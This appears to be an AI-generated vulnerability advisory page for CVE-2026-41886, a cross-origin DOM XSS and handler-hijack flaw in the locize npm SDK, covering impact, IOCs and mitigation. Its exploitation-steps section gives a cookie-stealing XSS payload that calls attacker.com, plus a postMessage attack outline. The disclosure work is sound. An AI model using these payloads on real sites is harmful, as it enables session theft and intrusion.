CVE-2026-41886
JavaScript vulnerability analysis and mitigation

Overview

CVE-2026-41886 is a cross-origin DOM XSS and handler hijack vulnerability in the locize client SDK (npm package locize), affecting all versions prior to 4.0.21. The flaw stems from a window.addEventListener("message", …) handler in src/api/postMessage.js that dispatches to internal handlers without validating event.origin, relying instead on an attacker-controllable field (event.data.sender) for gating. It was published on May 8, 2026, and patched in version 4.0.21 released April 18, 2026. The vulnerability carries a CVSS v3.1 base score of 7.5 (High) (GitHub Advisory).

Technical details

The root cause is an Origin Validation Error (CWE-346) combined with Cross-site Scripting (CWE-79). The pre-patch postMessage listener in src/api/postMessage.js gates dispatch solely on event.data.sender === "i18next-editor-frame" — a value inside the attacker-controlled message payload rather than the browser-enforced event.origin. This allows any cross-origin page sharing a window reference with the locize-enabled host (via iframe embedding, window.open, or parent frame) to invoke internal handlers such as editKey, commitKey, commitKeys, isLocizeEnabled, and requestInitialize. Specific handler abuses include: handleEditKey assigning attacker-controlled values to item.node.innerHTML and item.node.setAttribute() (enabling script injection); isLocizeEnabled overwriting api.source/api.origin with attacker-controlled values (redirecting subsequent SDK messages to the attacker); and requestPopupChanges interpolating unsanitized values into CSS calc() expressions (enabling CSS injection) (GitHub Advisory).

Impact

Exploitation can result in cross-origin DOM XSS by injecting arbitrary HTML (e.g., <script>, <img onerror>, href="javascript:…") into the victim page via the editKey/commitKeys handlers, enabling session hijacking, credential theft, or malicious redirects. The isLocizeEnabled handler hijack redirects all subsequent SDK translation messages and metadata to the attacker's window, causing sensitive data leakage. Additionally, CSS injection via requestPopupChanges can be leveraged for data exfiltration or UI manipulation. The scope is marked as Changed, meaning a successful attack can affect resources beyond the vulnerable component itself (GitHub Advisory).

Exploitability

No public exploit code or in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.015% (0.000150), indicating a low probability of exploitation in the near term. The vulnerability requires user interaction and high attack complexity — specifically, the attacker must establish a window reference relationship with the locize-enabled host (e.g., via iframe or window.open). It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The vulnerability was discovered through an internal security audit of the locize ecosystem (GitHub Advisory).

Exploitation steps

  1. Reconnaissance: Identify a web application using the locize npm SDK (versions < 4.0.21) with the InContext editor enabled, detectable via browser DevTools by observing window.addEventListener("message", …) registration or locize-specific script tags.
  2. Establish window reference: Host a malicious page that embeds the target locize-enabled application in an <iframe>, or use window.open() to open the target, establishing a cross-origin window reference.
  3. Craft malicious postMessage: Construct a message payload with event.data.sender set to "i18next-editor-frame" and a handler-specific action (e.g., editKey) with attacker-controlled content such as innerHTML payloads containing <script>alert(1)</script> or <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>.
  4. Send the message: Use targetWindow.postMessage(payload, '*') from the attacker-controlled page to dispatch the crafted message to the victim window, bypassing origin checks.
  5. Trigger handler execution: The victim's handleEditKey assigns the attacker-supplied value to item.node.innerHTML, executing the injected script in the context of the victim origin.
  6. Exfiltrate data or escalate: Use the XSS foothold to steal session cookies, redirect the user, or invoke isLocizeEnabled to hijack api.source/api.origin and intercept subsequent SDK translation messages sent to the attacker's window (GitHub Advisory).

Indicators of compromise

  • Network: Unexpected outbound requests from the victim browser to unknown third-party domains shortly after page load; postMessage traffic observable in browser DevTools originating from cross-origin frames targeting locize-enabled pages.
  • DOM/Browser: Unexpected <script>, <img>, or event-handler attributes injected into translation key DOM nodes on locize-enabled pages; href attributes containing javascript: or data:text/html schemes on locize-managed elements.
  • Logs: Browser console errors related to Content Security Policy (CSP) violations involving inline scripts or unexpected external resource loads on locize-enabled pages.
  • Behavior: SDK sendMessage calls directed to unexpected origins (attacker window) rather than https://incontext.locize.app; popup style attributes containing unusual CSS declarations with semicolons or behavior:url() patterns (GitHub Advisory).

Mitigation and workarounds

Upgrade the locize npm package to version 4.0.21 or later, which introduces two layers of defense: primary validation of event.origin at the top of the message event listener (dropping messages from any origin other than the configured iframe origin), and defense-in-depth sanitization in handleEditKey rejecting dangerous attributes (on*, style) and URL schemes (javascript:, data:, vbscript:, file:), with innerHTML assignments sanitized via a throwaway DOMParser. There is no supported workaround short of upgrading. Organizations should also consider deploying a strict Content Security Policy (CSP) to limit the impact of any XSS on locize-enabled pages (GitHub Advisory, Release v4.0.21).

Community reactions

The vulnerability was noted on Mastodon via The Hacker Wire shortly after disclosure on May 8, 2026, and was indexed by multiple CVE tracking platforms including VulnDB, CVEFeed, and CIRCL. The advisory was published by the locize maintainer (adrai) and credited to an internal security audit. No significant broader media coverage or notable researcher commentary beyond standard CVE aggregation has been identified (GitHub Advisory).

Additional resources


SourceThis report was generated using AI

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-77415CRITICAL9.3
  • JavaScript logoJavaScript
  • jsonata
NoYesAug 21, 2026
CVE-2026-77414CRITICAL9.3
  • JavaScript logoJavaScript
  • jsonata
NoYesAug 21, 2026
CVE-2026-77413CRITICAL9.3
  • JavaScript logoJavaScript
  • jsonata
NoYesAug 21, 2026
CVE-2026-63421HIGH7.5
  • JavaScript logoJavaScript
  • @keystone-6/core
NoYesAug 21, 2026
CVE-2026-53509MEDIUM5.7
  • JavaScript logoJavaScript
  • @aborruso/ckan-mcp-server
NoYesAug 21, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management